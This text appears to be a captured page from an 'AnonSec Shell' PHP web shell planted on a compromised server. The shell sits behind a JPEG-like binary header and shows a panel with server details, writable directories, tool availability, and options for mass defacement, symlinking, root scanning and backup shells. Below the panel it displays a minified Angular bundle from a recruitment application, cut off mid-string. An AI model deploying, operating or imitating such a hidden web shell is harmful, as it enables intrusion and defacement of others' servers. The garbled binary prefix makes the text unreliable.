JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 52.223.31.75  /  Your IP : 172.31.44.28   [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www_local/modis.angelopescatore.it/public/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www_local/modis.angelopescatore.it/public//11-es5.10e742595036dc79d0d8.js
!function(){function e(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var i=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==i)return;var n,a,o=[],r=!0,c=!1;try{for(i=i.call(e);!(r=(n=i.next()).done)&&(o.push(n.value),!t||o.length!==t);r=!0);}catch(l){c=!0,a=l}finally{try{r||null==i.return||i.return()}finally{if(c)throw a}}return o}(e,t)||l(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function t(e){return function(e){if(Array.isArray(e))return s(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||l(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function i(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&n(e,t)}function n(e,t){return(n=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function a(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}();return function(){var i,n=r(e);if(t){var a=r(this).constructor;i=Reflect.construct(n,arguments,a)}else i=n.apply(this,arguments);return o(this,i)}}function o(e,t){if(t&&("object"==typeof t||"function"==typeof t))return t;if(void 0!==t)throw new TypeError("Derived constructors may only return object or undefined");return function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e)}function r(e){return(r=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function c(e,t){var i="undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(!i){if(Array.isArray(e)||(i=l(e))||t&&e&&"number"==typeof e.length){i&&(e=i);var n=0,a=function(){};return{s:a,n:function(){return n>=e.length?{done:!0}:{done:!1,value:e[n++]}},e:function(e){throw e},f:a}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var o,r=!0,c=!1;return{s:function(){i=i.call(e)},n:function(){var e=i.next();return r=e.done,e},e:function(e){c=!0,o=e},f:function(){try{r||null==i.return||i.return()}finally{if(c)throw o}}}}function l(e,t){if(e){if("string"==typeof e)return s(e,t);var i=Object.prototype.toString.call(e).slice(8,-1);return"Object"===i&&e.constructor&&(i=e.constructor.name),"Map"===i||"Set"===i?Array.from(e):"Arguments"===i||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(i)?s(e,t):void 0}}function s(e,t){(null==t||t>e.length)&&(t=e.length);for(var i=0,n=new Array(t);i<t;i++)n[i]=e[i];return n}function b(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function d(e,t){for(var i=0;i<t.length;i++){var n=t[i];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}function m(e,t,i){return t&&d(e.prototype,t),i&&d(e,i),e}(window.webpackJsonp=window.webpackJsonp||[]).push([[11],{vusq:function(n,o,r){"use strict";r.r(o),r.d(o,"CandidatesModule",function(){return la});var l,s,d=r("tyNb"),u=r("d2mR"),g=r("5eqV"),p=r("SxV6"),f=r("vkgz"),v=r("KEHF"),h=r("XNiG"),C=r("3Pt+"),V=r("6N5d"),U=r("3Nfp"),_=r("zEtD"),I=r("aCXV"),y=r("euDi"),x=r("AytR"),O=r("WD1m"),z=r("fXoL"),k=r("tk/3"),w=((l=function(){function e(t,i){b(this,e),this.http=t,this.authorizationService=i}return m(e,[{key:"getCandidatesStatus",value:function(){return this.http.get(x.a.apiUrl+"candidateStatus",this.authorizationService.getAuthorization())}},{key:"getCandidatesStatusById",value:function(e){return this.http.get(x.a.apiUrl+"candidateStatus/"+e,this.authorizationService.getAuthorization())}},{key:"addCandidateStatus",value:function(e){return this.http.put(x.a.apiUrl+"candidateStatus",e,this.authorizationService.getAuthorization())}}]),e}()).\u0275fac=function(e){return new(e||l)(z.Zb(k.b),z.Zb(O.a))},l.\u0275prov=z.Lb({token:l,factory:l.\u0275fac,providedIn:"root"}),l),F=r("PSD3"),Q=r.n(F),S=r("ofXK"),T=r("W/eW"),A=r("ZOsW"),L=r("Mfq2"),E=r("sYmb"),N=r("wd/R"),K=((s=function(){function e(){b(this,e)}return m(e,[{key:"transform",value:function(e,t,i){return e&&t&&t?e.filter(function(e){for(var n,a,o,r,c=!0,l=0;l<i.length;l++){var s=i[l];if("text"==s.type){var b=null===(n=t.get(s.key))||void 0===n?void 0:n.value;b&&-1==e[s.key].toLowerCase().indexOf(b.toLowerCase())&&(c=!1)}else if("date"==s.type){var d=null===(a=t.get(s.key+"_start"))||void 0===a?void 0:a.value;d&&e[s.key]&&N(e[s.key])<N(d,"DD/MM/YYYY")&&(c=!1);var m=null===(o=t.get(s.key+"_end"))||void 0===o?void 0:o.value;m&&e[s.key]&&N(e[s.key])>N(m,"DD/MM/YYYY")&&(c=!1)}else if("select"==s.type){var u=null===(r=t.get(s.key))||void 0===r?void 0:r.value;if(u&&u.length>0){for(var g=!1,p=0;p<u.length;p++)u[p]&&e[s.key]&&e[s.key].toLowerCase()==u[p].toLowerCase()&&(g=!0);g||(c=!1)}}}return c}):e}}]),e}()).\u0275fac=function(e){return new(e||s)},s.\u0275pipe=z.Ob({name:"candidatesfilter",type:s,pure:!1}),s),M=["Selecter"];function P(e,t){1&e&&z.Qb(0,"i",34)}function J(e,t){1&e&&z.Qb(0,"i",35)}function q(e,t){1&e&&(z.Vb(0,"span",11),z.Ic(1),z.hc(2,"translate"),z.Ub()),2&e&&(z.Cb(1),z.Jc(z.ic(2,1,"Vista Tabella")))}function G(e,t){1&e&&(z.Vb(0,"span",11),z.Ic(1),z.hc(2,"translate"),z.Ub()),2&e&&(z.Cb(1),z.Jc(z.ic(2,1,"Vista Kanban")))}function j(e,t){if(1&e&&(z.Vb(0,"div"),z.Vb(1,"div",49),z.cc("click",function(){var e=t.$implicit;return e.active=!e.active}),z.Qb(2,"i"),z.Ic(3),z.hc(4,"translate"),z.Ub(),z.Ic(5," \xa0 "),z.Ub()),2&e){var i=t.$implicit;z.Cb(1),z.nc("ngClass",i.active?"badge-warning":"badge-light"),z.Cb(1),z.Fb("zmdi zmdi-",i.active?"minus-circle-outline":"plus-circle-o",""),z.Cb(1),z.Kc(" ",z.ic(4,5,i.name)," ")}}function D(e,t){if(1&e){var i=z.Wb();z.Tb(0),z.Vb(1,"div",52),z.Vb(2,"div",53),z.Vb(3,"h3",54),z.Ic(4),z.hc(5,"translate"),z.hc(6,"translate"),z.Ub(),z.Vb(7,"app-datetime-manager",55),z.cc("modelChange",function(e){z.Ac(i);var t=z.gc().$implicit;return z.gc(2).advSearchForm.controls[t.key+"_start"].value=e}),z.hc(8,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(9,"div",52),z.Vb(10,"div",53),z.Vb(11,"h3",54),z.Ic(12),z.hc(13,"translate"),z.hc(14,"translate"),z.Ub(),z.Vb(15,"app-datetime-manager",55),z.cc("modelChange",function(e){z.Ac(i);var t=z.gc().$implicit;return z.gc(2).advSearchForm.controls[t.key+"_end"].value=e}),z.hc(16,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Sb()}if(2&e){var n=z.gc().$implicit,a=z.gc(2);z.Cb(4),z.Lc("",z.ic(5,8,n.name)," ",z.ic(6,10,"Inizio"),""),z.Cb(3),z.nc("model",a.advSearchForm.controls[n.key+"_start"].value)("placeholder",z.ic(8,12,"Inserire il valore")),z.Cb(5),z.Lc("",z.ic(13,14,n.name)," ",z.ic(14,16,"Fine"),""),z.Cb(3),z.nc("model",a.advSearchForm.controls[n.key+"_end"].value)("placeholder",z.ic(16,18,"Inserire il valore"))}}function R(e,t){if(1&e&&(z.Vb(0,"div",53),z.Qb(1,"input",57),z.Qb(2,"i",58),z.Ub()),2&e){var i=z.gc(2).$implicit;z.Cb(1),z.oc("formControlName",i.key)}}function W(e,t){if(1&e&&(z.Vb(0,"div",53),z.Qb(1,"ng-select",59),z.hc(2,"translate"),z.Ub()),2&e){var i=z.gc(2).$implicit;z.Cb(1),z.oc("bindLabel",i.valopt),z.oc("bindValue",i.valopt),z.oc("formControlName",i.key),z.nc("items",i.options)("multiple",i.multiple?"true":"false")("placeholder",z.ic(2,6,"Seleziona un'opzione"))}}function $(e,t){if(1&e&&(z.Vb(0,"div"),z.Vb(1,"h3",54),z.Ic(2),z.hc(3,"translate"),z.Ub(),z.Gc(4,R,3,1,"div",56),z.Gc(5,W,3,8,"div",56),z.Ub()),2&e){var i=z.gc().$implicit;z.Fb("col-md-",i.children&&i.children.length>0?"12":"6",""),z.Cb(2),z.Jc(z.ic(3,6,i.name)),z.Cb(2),z.nc("ngIf","text"==i.type),z.Cb(1),z.nc("ngIf","select"==i.type)}}function B(e,t){if(1&e&&(z.Vb(0,"div",53),z.Qb(1,"input",57),z.Qb(2,"i",58),z.Ub()),2&e){var i=z.gc(2).$implicit;z.Cb(1),z.oc("formControlName",i.key)}}function Y(e,t){if(1&e&&(z.Vb(0,"div",53),z.Qb(1,"ng-select",62),z.hc(2,"translate"),z.Ub()),2&e){var i=z.gc(2).$implicit;z.Cb(1),z.oc("formControlName",i.key),z.nc("items",i.options)("placeholder",z.ic(2,3,"Seleziona un'opzione"))}}function H(e,t){if(1&e&&(z.Vb(0,"div",52),z.Vb(1,"h3",54),z.Ic(2),z.hc(3,"translate"),z.Vb(4,"span",61),z.Ic(5),z.hc(6,"translate"),z.Ub(),z.Ub(),z.Gc(7,B,3,1,"div",56),z.Gc(8,Y,3,5,"div",56),z.Ub()),2&e){var i=z.gc().$implicit,n=z.gc().$implicit;z.Cb(2),z.Kc("",z.ic(3,4,i.name)," "),z.Cb(3),z.Kc("- (",z.ic(6,6,n.name),")"),z.Cb(2),z.nc("ngIf","text"==i.type),z.Cb(1),z.nc("ngIf","select"==i.type)}}function Z(e,t){if(1&e&&(z.Tb(0),z.Gc(1,H,9,8,"div",60),z.Sb()),2&e){var i=z.gc().$implicit;z.Cb(1),z.nc("ngIf",i.active)}}function X(e,t){if(1&e&&(z.Tb(0),z.Gc(1,D,17,20,"ng-container",50),z.Gc(2,$,6,8,"div",51),z.Gc(3,Z,2,1,"ng-container",33),z.Sb()),2&e){var i=t.$implicit;z.Cb(1),z.nc("ngIf",i.active&&"date"==i.type),z.Cb(1),z.nc("ngIf",i.active&&"date"!=i.type),z.Cb(1),z.nc("ngForOf",i.children)}}function ee(e,t){if(1&e){var i=z.Wb();z.Vb(0,"div",36),z.Vb(1,"div",18),z.Vb(2,"div",19),z.Vb(3,"div",37),z.Vb(4,"h4",21),z.Ic(5),z.hc(6,"translate"),z.Ub(),z.Vb(7,"h6",38),z.Ic(8),z.hc(9,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(10,"div",39),z.Vb(11,"div",40),z.Vb(12,"div",28),z.Vb(13,"div",41),z.Gc(14,j,6,7,"div",33),z.Ub(),z.Qb(15,"br"),z.Vb(16,"form",42),z.Vb(17,"div",43),z.Vb(18,"div",19),z.Gc(19,X,4,3,"ng-container",33),z.Ub(),z.Qb(20,"br"),z.Ub(),z.Vb(21,"div",44),z.Vb(22,"button",45),z.cc("click",function(){return z.Ac(i),z.gc().advSearchForm.reset()}),z.Qb(23,"i",46),z.Ic(24),z.hc(25,"translate"),z.Ub(),z.Ic(26," \xa0 "),z.Vb(27,"button",47),z.cc("click",function(){return z.Ac(i),z.gc().showAdvBox()}),z.Qb(28,"i",48),z.Ic(29),z.hc(30,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Ub()}if(2&e){var n=z.gc();z.Cb(5),z.Jc(z.ic(6,7,"Ricerca Avanzata")),z.Cb(3),z.Kc("",z.ic(9,9,"Seleziona i criteri di ricerca per cercare i candidati, puoi selezionare un gruppo di criteri selezionando il titolo del gruppo (es. Anagrafica)")," "),z.Cb(6),z.nc("ngForOf",n.field_ricerca_avanzata),z.Cb(2),z.nc("formGroup",n.advSearchForm),z.Cb(3),z.nc("ngForOf",n.field_ricerca_avanzata),z.Cb(5),z.Kc(" ",z.ic(25,11,"Azzera")," "),z.Cb(5),z.Kc(" ",z.ic(30,13,"Chiudi")," ")}}function te(e,t){if(1&e&&(z.Vb(0,"div",66),z.Vb(1,"div",67),z.Vb(2,"b"),z.Ic(3),z.Ub(),z.Ub(),z.Vb(4,"div",68),z.Ic(5),z.hc(6,"date"),z.Ub(),z.Vb(7,"div",52),z.Qb(8,"img",69),z.Ub(),z.Vb(9,"div",70),z.Qb(10,"i",71),z.Qb(11,"i",72),z.Ub(),z.Ub()),2&e){var i=t.$implicit,n=z.gc(2);z.nc("cdkDragDisabled",n.blockKanbanColumns),z.Cb(3),z.Lc("",i.name," ",i.surname,""),z.Cb(2),z.Kc(" Aggiornato il ",z.jc(6,4,i.statuses[0].updated_at,"dd-MM-yyyy")," ")}}function ie(e,t){if(1&e){var i=z.Wb();z.Vb(0,"div",63),z.cc("cdkDropListDropped",function(e){z.Ac(i);var n=t.$implicit;return z.gc().drop(e,n.status)}),z.Vb(1,"h3",64),z.Ic(2),z.Ub(),z.Gc(3,te,12,7,"div",65),z.hc(4,"candidatesfilter"),z.Ub()}if(2&e){var n=t.$implicit,a=z.gc();z.nc("cdkDropListData",n),z.Cb(2),z.Jc(n.status),z.Cb(1),z.nc("ngForOf",z.kc(4,3,a.candidateByStatus[n.status],a.advSearchForm,a.field_ricerca_avanzata))}}function ne(e,t){1&e&&(z.Vb(0,"div",73),z.Ic(1),z.hc(2,"translate"),z.Ub()),2&e&&(z.Cb(1),z.Jc(z.ic(2,1,"Non sono presenti risultati!")))}function ae(e,t){if(1&e){var i=z.Wb();z.Vb(0,"tr"),z.Vb(1,"td",74),z.Vb(2,"table"),z.Vb(3,"tr"),z.Vb(4,"td",75),z.Vb(5,"b"),z.Ic(6),z.Ub(),z.Qb(7,"br"),z.Vb(8,"p"),z.Ic(9),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Vb(10,"td",74),z.Vb(11,"table"),z.Vb(12,"tr"),z.Vb(13,"td",75),z.Ic(14),z.hc(15,"translate"),z.Ub(),z.Vb(16,"td",75),z.Vb(17,"a",76),z.Ic(18),z.Ub(),z.Ub(),z.Ub(),z.Vb(19,"tr"),z.Vb(20,"td",75),z.Ic(21),z.hc(22,"translate"),z.Ub(),z.Vb(23,"td",75),z.Vb(24,"a",76),z.Ic(25),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Vb(26,"td",77),z.Ic(27),z.Ub(),z.Vb(28,"td",77),z.Vb(29,"table"),z.Vb(30,"tr"),z.Vb(31,"td",75),z.Ic(32),z.hc(33,"translate"),z.Ub(),z.Vb(34,"td",75),z.Vb(35,"b"),z.Ic(36),z.Ub(),z.Ub(),z.Ub(),z.Vb(37,"tr"),z.Vb(38,"td",75),z.Ic(39),z.hc(40,"translate"),z.Ub(),z.Vb(41,"td",75),z.Vb(42,"b"),z.Ic(43),z.Ub(),z.Ub(),z.Ub(),z.Vb(44,"tr"),z.Vb(45,"td",75),z.Ic(46),z.hc(47,"translate"),z.Ub(),z.Vb(48,"td",75),z.Vb(49,"b"),z.Ic(50),z.hc(51,"date"),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Vb(52,"td",77),z.Ic(53),z.Ub(),z.Vb(54,"td",78),z.Vb(55,"table",79),z.Vb(56,"tr"),z.Vb(57,"td",80),z.Vb(58,"button",81),z.hc(59,"translate"),z.Qb(60,"i",82),z.Ub(),z.Ub(),z.Vb(61,"td",80),z.Vb(62,"button",83),z.cc("click",function(){z.Ac(i);var e=t.$implicit;return z.gc().remove(e.id_candidate)}),z.hc(63,"translate"),z.Qb(64,"i",84),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Ub()}if(2&e){var n=t.$implicit;z.Cb(6),z.Lc("",n.name," ",n.surname,""),z.Cb(3),z.Jc(n.id_residence_city),z.Cb(5),z.Jc(z.ic(15,20,"Cell.")),z.Cb(3),z.pc("href","tel:",n.cellular,"",z.Cc),z.Cb(1),z.Jc(n.cellular),z.Cb(3),z.Kc("",z.ic(22,22,"Email")," "),z.Cb(3),z.pc("href","mailto:",n.email,"",z.Cc),z.Cb(1),z.Jc(n.email),z.Cb(2),z.Kc(" ",n.jobtitle," "),z.Cb(5),z.Kc(" ",z.ic(33,24,"Status: ")," "),z.Cb(4),z.Jc(n.statuses[n.statuses.length-1].status),z.Cb(3),z.Kc("",z.ic(40,26,"Modificato da: ")," "),z.Cb(4),z.Jc(n.statuses[n.statuses.length-1].nome_cognome),z.Cb(3),z.Kc("",z.ic(47,28,"Ultimo Aggiornamento: ")," "),z.Cb(4),z.Jc(z.jc(51,30,n.statuses[n.statuses.length-1].updated_at,"dd-MM-yyyy")),z.Cb(3),z.Kc(" ",n.need," "),z.Cb(5),z.pc("routerLink","edit-candidate/",n.id_candidate,""),z.nc("tooltip",z.ic(59,33,"Visualizza Candidato")),z.Cb(4),z.nc("tooltip",z.ic(63,35,"Cancella Candidato"))}}var oe,re=((oe=function(){function e(t,i,n,a,o,r,c){var l=this;b(this,e),this.fb=t,this.candidateService=i,this.utilsService=n,this.excelService=a,this.translate=o,this.growlService=r,this.candidateStatusService=c,this.candidatesItems=[],this.candidatesStatus=[],this.candidateByStatus=[],this.showKanban=!1,this.candidatesSearch=!0,this.dtTrigger=new h.a,this.labelBtnAdvSearch="Ricerca Avanzata",this.langListOpt=new Array,this.allSkills=new Array,this.allMacroareas=new Array,this.buffer=new Array,this.mobilitazioneOpt=[],this.statusOpt=[],this.blockKanbanColumns=!1,this.allCandidatesStatus=[],this.subs=[],this.caricaDati(),this.candidatesSearch=!1,this.getStatusesList().subscribe(function(e){l.getCandidates()}),this.labelBtnAdvSearch="Ricerca Avanzata",this.mobilitazioneOpt=["Milano","Torino","Bologna","Firenze","Roma","Nord-Est","Nord-Ovest","Centro","Sud","Only Smart Working","Whole Italy"],this.genderOpt=["M","F","Altro"],this.field_ricerca_avanzata=[{type:"text",name:"Nome",active:!0,key:"name",required:!1,minlenght:!1,maxlenght:!1},{type:"text",name:"Cognome",active:!0,key:"surname"},{type:"text",name:"Email",active:!0,key:"email"},{type:"text",name:"Jobtitle",active:!0,key:"jobtitle"},{type:"select",options:this.candidatesStatus,name:"Status",key:"status",valopt:"status"},{type:"text",name:"Location",key:"location"},{type:"date",key:"created_at",name:"Data Creazione",active:!0},{type:"date",key:"updated_at",name:"Data Ultimo Aggiornamento"}];var s=this.generateFormValidator();this.advSearchForm=t.group(s)}return m(e,[{key:"changeLanguage",value:function(e){U.a.setLang(e)}},{key:"caricaDati",value:function(){var e=this;this.utilsService.getAllMobilitazioneOptions().subscribe(function(t){(t.status?t.message:[]).forEach(function(t){e.mobilitazioneOpt.push(t.name)})}),this.utilsService.getAllLanguagesLevelOptions().subscribe(function(t){e.langLevelOpt=t.status?t.message:[]}),this.utilsService.getLanguagesList().subscribe(function(t){e.languagesListOpt=t.message,e.languagesListOpt.forEach(function(t){e.langListOpt.push(t.name)})})}},{key:"generateFormValidator",value:function(){for(var e={},t=0;t<this.field_ricerca_avanzata.length;t++)if("date"==this.field_ricerca_avanzata[t].type){e[this.field_ricerca_avanzata[t].key+"_start"]=["",[]];var i=e[this.field_ricerca_avanzata[t].key+"_start"][1];"required"in this.field_ricerca_avanzata[t]&&this.field_ricerca_avanzata[t].required&&(e[this.field_ricerca_avanzata[t].key+"_start"][i.lenght]=C.v.required),e[this.field_ricerca_avanzata[t].key+"_end"]=["",[]],i=e[this.field_ricerca_avanzata[t].key+"_end"][1],"required"in this.field_ricerca_avanzata[t]&&this.field_ricerca_avanzata[t].required&&(e[this.field_ricerca_avanzata[t].key+"_end"][i.lenght]=C.v.required)}else{e[this.field_ricerca_avanzata[t].key]=[null,[]];var n=e[this.field_ricerca_avanzata[t].key][1];if("required"in this.field_ricerca_avanzata[t]&&this.field_ricerca_avanzata[t].required&&(e[this.field_ricerca_avanzata[t].key][n.lenght]=C.v.required),"minlenght"in this.field_ricerca_avanzata[t]&&this.field_ricerca_avanzata[t].minlenght&&(e[this.field_ricerca_avanzata[t].key][n.lenght]=C.v.minLength(this.field_ricerca_avanzata[t].minlenght)),"maxlenght"in this.field_ricerca_avanzata[t]&&this.field_ricerca_avanzata[t].maxlenght&&(e[this.field_ricerca_avanzata[t].key][n.lenght]=C.v.maxLength(this.field_ricerca_avanzata[t].maxlenght)),"children"in this.field_ricerca_avanzata[t]&&this.field_ricerca_avanzata[t].children.length>0)for(var a=0;a<this.field_ricerca_avanzata[t].children.length;a++){e[this.field_ricerca_avanzata[t].children[a].key]=["",[]];var o=e[this.field_ricerca_avanzata[t].children[a].key][1];"required"in this.field_ricerca_avanzata[t].children[a]&&this.field_ricerca_avanzata[t].children[a].required&&(e[this.field_ricerca_avanzata[t].children[a].key][o.lenght]=C.v.required),"minlenght"in this.field_ricerca_avanzata[t].children[a]&&this.field_ricerca_avanzata[t].children[a].minlenght&&(e[this.field_ricerca_avanzata[t].children[a].key][o.lenght]=C.v.minLength(this.field_ricerca_avanzata[t].children[a].minlenght)),"maxlenght"in this.field_ricerca_avanzata[t].children[a]&&this.field_ricerca_avanzata[t].children[a].maxlenght&&(e[this.field_ricerca_avanzata[t].children[a].key][o.lenght]=C.v.maxLength(this.field_ricerca_avanzata[t].children[a].maxlenght))}}return e}},{key:"ngOnInit",value:function(){}},{key:"ngOnDestroy",value:function(){var e,t=c(this.subs);try{for(t.s();!(e=t.n()).done;){var i=e.value;i&&i.unsubscribe()}}catch(n){t.e(n)}finally{t.f()}}},{key:"getCandidates",value:function(){var e=this,t=this.candidateService.getCandidates();return t.subscribe(function(t){t.status&&(e.candidatesItems=t.message,e.candidatesStatus.forEach(function(i){e.candidateByStatus[i.status]||(e.candidateByStatus[i.status]=[]),t.message.forEach(function(t){t.status.toLowerCase()==i.status.toLowerCase()&&e.candidateByStatus[i.status].push(t)})}),console.log("candidateByStatus",e.candidateByStatus))}),t}},{key:"getStatusesList",value:function(){var e=this,t=this.candidateService.getStatus();return t.subscribe(function(t){t.status&&(t.message.forEach(function(t){e.candidatesStatus.push(t)}),e.candidatesStatus=e.orderByStatus(e.candidatesStatus),e.candidatesStatus.forEach(function(e){return e.status=e.status.toLowerCase()}))}),t}},{key:"orderByStatus",value:function(e){return e.sort(function(e,t){return e.order>t.order?1:e.order<t.order?-1:0})}},{key:"drop",value:function(e,t){var i=this;if(e.previousContainer===e.container){if(e.currentIndex!==e.previousIndex){var n=this.candidateByStatus[e.container.data.status];Object(I.e)(n,e.previousIndex,e.currentIndex)}}else this.blockKanbanColumns=!0,this.candidateService.updateStatus(this.candidateByStatus[e.previousContainer.data.status][e.previousIndex].id_candidate,t).pipe(Object(p.a)(),Object(f.a)(function(t){if(t.status){var n=i.candidateByStatus[e.previousContainer.data.status],a=i.candidateByStatus[e.container.data.status];Object(I.f)(n,a,e.previousIndex,e.currentIndex)}i.blockKanbanColumns=!1})).subscribe()}},{key:"showAdvBox",value:function(){this.showAdvBoxFlag=!this.showAdvBoxFlag,this.labelBtnAdvSearch=this.showAdvBoxFlag?"Nascondi Ricerca":"Ricerca Avanzata"}},{key:"exportExcel",value:function(){this.excelService.exportAsExcelFile([],"employees")}},{key:"remove",value:function(e){var t=this;Q.a.fire({title:"Cancella Candidato",text:"Attenzione: Sei sicuro di voler cancellare il candidato?",showDenyButton:!0,icon:"warning",confirmButtonText:"Cancella Candidato",denyButtonText:"Annulla Operazione"}).then(function(i){i.isConfirmed&&(t.candidateService.deleteCandidate(e).subscribe(function(e){console.log("data",e)}),t.candidateService.getCandidates().subscribe(function(e){!e.status||(t.candidatesItems=e.message)}))})}}]),e}()).\u0275fac=function(e){return new(e||oe)(z.Pb(C.e),z.Pb(v.a),z.Pb(V.a),z.Pb(_.a),z.Pb(U.a),z.Pb(y.a),z.Pb(w))},oe.\u0275cmp=z.Jb({type:oe,selectors:[["app-candidates-list"]],viewQuery:function(e,t){var i;1&e&&z.Mc(M,1),2&e&&z.wc(i=z.dc())&&(t.ngselect=i.first)},decls:81,vars:51,consts:[[1,"content__title","row"],[1,"col-3"],[2,"color","black"],[1,"col-9","text-right"],[1,"actions"],[1,"btn","btn-orange","mod","btn--icon-text","text-center",3,"click"],["class","zmdi zmdi-view-list",4,"ngIf"],["class","zmdi zmdi-view-column",4,"ngIf"],["class","d-none d-md-inline",4,"ngIf"],["routerLink","/candidates/insert",1,"btn","btn-orange","mod","btn--icon-text","text-center"],[1,"zmdi","zmdi-account-add"],[1,"d-none","d-md-inline"],[1,"zmdi","zmdi-search"],[1,"btn","btn-dark","mod","btn--icon-text","text-center",3,"click"],[1,"zmdi","zmdi-download"],[1,"d-none","d-sm-inline"],["class","card",4,"ngIf"],[1,"card",3,"hidden"],[1,"card-body"],[1,"row"],[1,"col-6","pt-2"],[1,"card-title"],[1,"col-6","text-right"],["cdkDropListGroup","",1,"row","customKanban",3,"hidden"],["class","col-md-1 columnKanban p-2 example-list","cdkDropList","",3,"cdkDropListData","cdkDropListDropped",4,"ngFor","ngForOf"],[1,"col-12","w-100"],["class","no-result",4,"ngIf"],[1,"w-100"],[1,"clearfix"],[1,"col-md-12","px-0","table-responsive"],[1,"table","table-bordered","w-100","text-center"],[1,"th-modis"],[1,"th-modis","d-none","d-md-table-cell"],[4,"ngFor","ngForOf"],[1,"zmdi","zmdi-view-list"],[1,"zmdi","zmdi-view-column"],[1,"card"],[1,"col-12","pt-2"],[1,"card-subtitle"],[1,"row","mx-0","w-100"],[1,"w-100","pt-3"],[1,"row","pl-3","pr-3"],[3,"formGroup"],[1,"mb-2"],[1,"col","right"],[1,"btn","btn-dark","mod","btn--icon-text",3,"click"],[1,"zmdi","zmdi-minus"],[1,"btn","btn-orange","mod","btn--icon-text",3,"click"],[1,"zmdi","zmdi-close"],[1,"badge","mb-3","button-search-adv-field",3,"ngClass","click"],[4,"ngIf"],[3,"class",4,"ngIf"],[1,"col-md-6"],[1,"form-group"],[1,"card-body__title"],["mode","week","format","YYYY / [W]W","placement","bottom 